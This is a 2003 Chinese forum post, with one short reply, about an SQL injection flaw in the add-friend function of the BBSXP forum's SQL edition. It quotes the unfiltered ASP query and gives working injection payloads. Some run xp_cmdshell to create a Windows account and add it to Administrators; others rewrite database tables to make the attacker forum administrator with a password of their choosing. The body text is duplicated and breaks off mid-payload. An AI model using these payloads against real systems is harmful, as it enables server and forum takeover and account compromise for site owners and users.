请先登录 | 注册 |
MM0759.COM |
■标题:探索bbsxpsql版的漏洞 |
■作者:林子野菇 [2003/8/8 21:20:28] 探索bbsxp sql版的漏洞 内容: 漏洞描述: 相信大家都听过bbsxp吧,它是一款网上流行的论坛程序,我就不多作介绍了。这次我检测的是它的sql版,没过多久果然就发现了问题了 我们利用它可以掌握整个论坛的生脎大权,如果管理员sql服务器配置不当的话,甚至可以攻占整个服务器。 ............................................................................................................. 漏洞分析: 这个漏洞主要出在friend.asp这个文件,让我们来看一下有问题的部分源码,下面是用户添加好友的程序: sub add if Request("username")="" then error2("请输入您要添加的好友名字!") end if if Request("username")=Request.Cookies("username") then error2("不能添加自己!") end if if conn.execute("Select count(id)from [user] where username='"&Request("username")&"'")(0)=0 then error2("数据库不存在此用户的资料!") end if 只要求好友的名字不为空和不能添加自己,并没有过滤特殊符号,其实这个不能添加自己的限制也是能绕过的,不过也没什么用 :)。 ..................................................................................................................... 利用方法: 注册随便注册一个用户,这里我注册的是pinkeyes,好,转到个人控制面板,添加一个论坛存在的人为好友,这里我选的人是king, 选择添加好友按钮,这时会蛋出一个输入框,在里面输入: king' ;exec master.dbo.xp_cmdshell 'net user pinkeyes pinkeyes /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 添加了一个名为pinkeyes,密码为pinkeyes的账户。 ..................................................................................................................... 再来: king' ;exec master.dbo.xp_cmdshell 'net localgroup administrators pinkeyes /add';-- 把pinkeyes加到管理员用户组中。下面的事就不用我说了吧! 注意:如果连接数据库的账号没有权限的话或管理员删除了master.dbo.xp_cmdshell这个存储过程的话是不会成功.但是你可以对这个数据库做 任何事。 .......................................................................................................................... 如果不能添加账户也没关系,也阻挡不了我前进的步伐。好,下面我来讲一下利用方法: 仍然是添加好友,输入: king' ;update [user] set membercode=5,levelname='社区区长' where username='pinkeyes' -- 把pinkeyes提升为社区区长,前台工作。 再来输入: king';update clubconfig set administrators='│pinkeyes│',adminpassword='pinkeyes' -- 把后台管理员设为pinkeyes,密码也为pinkeyes ok,现在你是管理员了,要干什么就干什么吧! ,没过多久果然就发现了问题了 我们利用它可以掌握整个论坛的生脎大权,如果管理员sql服务器配置不当的话,甚至可以攻占整个服务器。 ............................................................................................................. 漏洞分析: 这个漏洞主要出在friend.asp这个文件,让我们来看一下有问题的部分源码,下面是用户添加好友的程序: sub add if Request("username")="" then error2("请输入您要添加的好友名字!") end if if Request("username")=Request.Cookies("username") then error2("不能添加自己!") end if if conn.execute("Select count(id)from [user] where username='"&Request("username")&"'")(0)=0 then error2("数据库不存在此用户的资料!") end if 只要求好友的名字不为空和不能添加自己,并没有过滤特殊符号,其实这个不能添加自己的限制也是能绕过的,不过也没什么用 :)。 ..................................................................................................................... 利用方法: 注册随便注册一个用户,这里我注册的是pinkeyes,好,转到个人控制面板,添加一个论坛存在的人为好友,这里我选的人是king, 选择添加好友按钮,这时会蛋出一个输入框,在里面输入: king' ;exec master.dbo.xp_cmdshell 'net user pinkeyes pinkeyes /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 添加了一个名为pinkeyes,密码为pinkeyes的账户。 ..................................................................................................................... 再来: king' ;exec master.dbo.xp_cmdshell 'net localgroup administrators pinkeyes /add';-- 把pinkeyes加到管理员用户组中。下面的事就不用我说了吧! 注意:如果连接数据库的账号没有权限的话或管理员删除了master.dbo.xp_cmdshell这个存储过程的话是不会成功.但是你可以对这个数据库做 任何事。 .......................................................................................................................... 如果不能添加账户也没关系,也阻挡不了我前进的步伐。好,下面我来讲一下利用方法: 仍然是添加好友,输入: king' ;update [user] set membercode=5,levelname='社区区长' where username='pinkeyes' -- 把pinkeyes提升为社区区长,前台工作。 再来输入: king';update clubconfig set administrators='│pinkeyes│',adminpasswor 【回复/版区/上篇/下篇/发贴/仅文字/HTML】 |
【倒序/最近21条回复】 |
■作者:IPSC [2003/8/9 9:26:42] |
加一段特殊符号和长度过滤就行了 |
(查看完整版网页) |
短讯|首页|登录|算法|电脑版 . DK MiniBBS Plus v2.0 mm0759.com 312 毫秒 . |